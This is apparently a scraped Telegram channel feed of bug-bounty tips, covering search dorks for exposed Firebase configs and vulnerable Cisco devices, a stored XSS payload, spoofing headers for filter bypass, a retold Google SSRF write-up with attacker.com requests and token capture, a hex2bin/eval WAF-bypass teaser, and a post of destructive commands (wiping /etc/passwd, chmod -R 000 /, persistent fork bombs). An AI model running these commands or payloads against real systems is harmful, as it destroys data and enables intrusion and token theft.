Brut Security
17.9K subscribers
1.16K photos
103 videos
362 files
1.26K links
โœ…DM: @wtf_brut
โœ…For Ad: https://tlmtr.io/p/2flAsc
๐Ÿ›ƒWhatsApp: https://wa.link/brutsecurity
๐ŸˆดTraining: https://brutsecurity.com
๐Ÿ“จMail: info@brutsec.com
Download Telegram
๐Ÿ“CPTS Cheat Sheet
๐Ÿ”—
https://github.com/zagnox/CPTS-cheatsheet
โค11๐Ÿค3
๐Ÿ”ฅSensitive informations leaks vai fofa Dorking ๐Ÿ’ฅ

Hey Hunter's, DarkShadow back again dropping a simple and effective dork.

Leaking firebase configurations๐Ÿ‘€

Fofa query:
body="firebaseapp" && domain="example.com"

Or

(body="firebaseapp" || body="firebaseconfig") && host=".target_domain_name_only"


If you guy's really enjoy to read my methodology's don't forget to follow me ๐Ÿ‘‰๐Ÿผ DarkShadow

#dork #bugbountytips
๐Ÿ—ฟ8๐Ÿ‘6โค4
Hey Hunter's,
Dark Shadow here back again. Dropping a Google XSS POC-2๐Ÿ˜

โœ…POC steps:

โ€ขVuln host: books.google.com
โ€ขXss type: stored based XSS
โ€ขVuln param: book name title and publisher name parameter.
โ€ขTechnique: direct inject the payload. Without any kind of encoding. (Reason: no input sanitization)
Payload: "><svg/onload=prompt(1)>

A simple payload can flip the game if you are use it in right place.๐Ÿ˜
The vulnerability has been patched๐Ÿฅฑ

Let me knowโ€”arenโ€™t you all interested to know that Google rewarded $31,337 for an SSRF vulnerability?
And
Don't forget to follow me ๐Ÿ‘‰๐Ÿผ
DarkShadow  

#xss #googlebug
๐Ÿ”ฅ23๐Ÿ—ฟ8๐Ÿ‘4โค2๐Ÿณ2
๐Ÿคฃ39๐Ÿ˜ข2๐Ÿ”ฅ1
CVE-2025-20188: Use of Hard-coded Credentials in Cisco IOS XE, 10.0 rating ๐Ÿ”ฅ๐Ÿ”ฅ๐Ÿ”ฅ

Due to hard-coded JWT, Cisco IOS XE instances may be vulnerable to arbitrary file uploads, path traversal, and arbitrary command execution. Catalyst controllers are primarily affected.

Search at Netlas.io:
๐Ÿ‘‰ Link: https://nt.ls/BKkJI
๐Ÿ‘‰ Dork: certificate.issuer_dn:"IOS-Self-Signed-Certificate"

Vendor's advisory: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-wlc-file-uplpd-rHZG9UfC
๐Ÿ”ฅ6๐Ÿ‘2๐Ÿ˜ฑ1
Hey Hunter's,

If you're facing difficulties setting up Kali NetHunter, then Proot-Distro is a powerful and user-friendly alternative. It offers an easy and comprehensive solution for running multiple Linux distributions directly in Termuxโ€”no root required.


Explore it on GitHub:

https://github.com/termux/proot-distro
๐Ÿ‘จโ€๐Ÿ’ป5โค4๐Ÿ—ฟ1
Hey Hunter's
DarkShadow here โ€” back again with some killer techniques most bug bounty hunters overlook.

IP Spoofing Headers for Bypass & Testing:

X-Forwarded-For: 127.0.0.1
# Trusted by proxies/load balancers
X-Real-IP: 127.0.0.1
# Common in NGINX setups
X-Client-IP: 127.0.0.1
# Used for rate limiting/tracking
X-Remote-IP: 127.0.0.1
# May influence backend logic
X-Remote-Addr: 127.0.0.1
# Tries to override remote IP
True-Client-IP: 127.0.0.1
# Used by CDNs (e.g. Akamai)
CF-Connecting-IP: 127.0.0.1
# Cloudflare real IP header
Fastly-Client-IP: 127.0.0.1
# Fastly CDN client IP
X-Cluster-Client-IP: 127.0.0.1
# Seen in clustered environments
Forwarded: for=127.0.0.1
# RFC standard version of XFF
X-Originating-IP: 127.0.0.1
# Used by mail servers & legacy apps
X-Forwarded-Host: 127.0.0.1
# Can affect virtual host routing
X-Forwarded-Server: 127.0.0.1
# Backend routing logic
X-Real-Hostname: localhost
# Tries to spoof internal host
Via: 127.0.0.1
# May appear in proxy chains
Forwarded-For: 127.0.0.1
# Non-standard but seen in wild
Proxy-Client-IP: 127.0.0.1
# Java-based servers (Tomcat)
WL-Proxy-Client-IP: 127.0.0.1
# WebLogic-specific header
๏ปฟ

Use: Bypass IP whitelisting, rate limits, geo-blocks, SSRF filters, or trigger internal behavior. Combine multiple for better results in black-box testing.

Don't forget to follow me ๐Ÿ‘‰๐Ÿผ DarkShadow

#bugbountytips #wafbypass
๐Ÿ”ฅ23โค7๐Ÿ‘4๐Ÿ—ฟ3๐Ÿค2
Big Us ๐Ÿ™‚ ๐Ÿ’ฏ
ใ…ค
๐Ÿคฃ38๐Ÿ—ฟ5๐Ÿ‘2
This is not for hacking, this is for hackers;

If you're still not found anything in your bug hunting, then first apply this code in your file:

while(!success){
tryagain();
if(tried)
break;
}


Never give up, just you have need to change your mind set-up.
Remember, where everyone give up pro's started there๐Ÿ˜Œ
๐Ÿค24โค13๐Ÿ‘5
โš ๏ธDon't try these DarkShadow's commands:
Just dropping DarkShadow's bash nuclear some of demo commands๐Ÿšจ

1๏ธโƒฃ๐Ÿ‘‰๐ŸผOverwrite /etc/passwd and /etc/shadow
echo "" > /etc/passwd
echo "" > /etc/shadow


Destroys all user accounts, including root.
Result: Nobody can login anymore โ€” system is fcked.



2๏ธโƒฃ๐Ÿ‘‰๐ŸผMake the system unusable (chmod all permissions)

chmod -R 000 /


Remove all permissions (read/write/execute) from all files and folders.
Result: You can't even ls or login properly. Full chaos.



3๏ธโƒฃ๐Ÿ‘‰๐ŸผPersistent Fork Bomb (auto start even after reboot)

echo ':(){ :|:& };:' >> ~/.bashrc

or for all users:

echo ':(){ :|:& };:' >> /etc/bash.bashrc


Adds the fork bomb into startup files (.bashrc or /etc/bash.bashrc).
Result: As soon as anyone logs in, the machine crashes.

Hard to recover unless you boot into recovery mode and manually edit.
๐Ÿ˜ฑ12๐Ÿ‘9โค7๐Ÿซก7
ShodanXโšก๏ธโ€“ A terminal-powered recon and OSINT tool built on top of the Shodan Services to gather information of targets using shodan dorks โœจ

โœ…Link -
https://github.com/RevoltSecurities/Shodanx

๐Ÿ‘€ @mrz_0047

#BugBounty #cybersecurity #infosec #shodan
Please open Telegram to view this post
VIEW IN TELEGRAM
1โค18๐Ÿ‘2
Hey Hunters,

DarkShadow hereโ€”back again with a very interesting Google SSRF Proof of Concept!


๐Ÿง  Fixing the Unfixable: A Google Cloud SSRF Tale

A critical Server-Side Request Forgery (SSRF) vulnerability was discovered in Google's cxl-services.appspot.com proxy, which powers interactive demos for various Google Cloud products, including jobs.googleapis.com.


๐Ÿ” Discovery

While exploring the Cloud Talent Solution API (jobs.googleapis.com), it was noticed that demo requests were routed through:

cxl-services.appspot.com/proxy?url=

Hereโ€™s a sample request:

GET /proxy?url=https://jobs.googleapis.com/v4/projects/4808913407/tenants/ff8c4578-8000-0000-0000-00011ea231ff/jobs:search HTTP/1.1
Host: cxl-services.appspot.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Content-Type: application/json; charset=utf-8
Content-Length: 102
Connection: close

{"jobQuery":{"query":"bartendar","queryLanguageCode":"en"},"jobView":"JOB_VIEW_SMALL","maxPageSize":5}


The response returned 200 OK and displayed the full content, meaning the SSRF was not blind โ€” and that makes it critical.


๐Ÿงฑ Initial Test: Traditional SSRF Blocked

Trying to change the url parameter to a malicious domain:

GET /proxy?url=https://attacker_server.com HTTP/1.1
Host: cxl-services.appspot.com

Response:

403 Forbidden
Invalid Target Host - Please add to allow list


This indicated the presence of a backend whitelist restricting outbound requests.


๐Ÿ›ก๏ธ Whitelist Bypass Trick

Despite the whitelist, a clever bypass was possible by exploiting discrepancies between URL parsers (RFC3986 vs. WHATWG) using a backslash (\) and @ symbol:

GET /proxy?url=https://attacker.com\@jobs.googleapis.com/ HTTP/1.1
Host: cxl-services.appspot.com


This tricked the proxy into making the request to attacker.com, while treating the domain as jobs.googleapis.com.


๐Ÿ”“ Sensitive Token Leakage

Even worse: the proxy included an Authorization: Bearer <token> header in its outbound requests.

By redirecting traffic to a controlled server, the researcher was able to capture tokens granting access to internal Google Cloud projects such as:

docai-demo
cxl-services
garage-staging
p-jobs


He even deployed a custom App Engine service within cxl-services, proving full code execution capabilities.


๐Ÿ’ฐ Bounty Rewards

For these critical findings, the researcher earned over $13,000 from Googleโ€™s Vulnerability Reward Program (VRP).

Credit: Discovered by David Schรผtz
But Hunters, donโ€™t forget to follow me for more deep-dive writeups and live exploitation breakdowns!

Follow me in X ๐Ÿ‘‰๐Ÿผ
DarkShadow

#bugbountytips #googlebug #ssrf
๐Ÿ”ฅ15๐Ÿ‘8๐Ÿ—ฟ2โค1๐Ÿ˜ฑ1
1๐Ÿ”ฅ14๐Ÿ˜ฑ4๐Ÿ—ฟ1
Good morning hacker's โค๏ธ
๐Ÿคฃ42โค6
Guys, I just bypassed a seriously tough WAF + IDS combo!

Let me give you a quick summary of the bypass journey:

While testing a WordPress setup, I noticed that it blocks any attempt to save PHP code using the standard <?php ?> tags โ€” access denied right away.
So, I tried using the shorthand <?= ?>, and surprisinglyโ€ฆ it got through!

However, the IDS was still smart enough to detect and block any dangerous functions โ€” even if they were Base64 encoded.

I experimented with multiple obfuscation methods, but none of them workedโ€ฆ until I had a breakthrough!

๐Ÿ‘€The trick? I used hex2bin() in combination with eval() โ€” and that finally bypassed both the WAF and IDS.๐Ÿ’ฅ

Want the payload/code? Let me know โ€”
And don't forget to follow me ๐Ÿ‘‰๐Ÿผ
DarkShadow

#wafbypass
๐Ÿซก35๐Ÿ”ฅ8๐Ÿ‘7โค4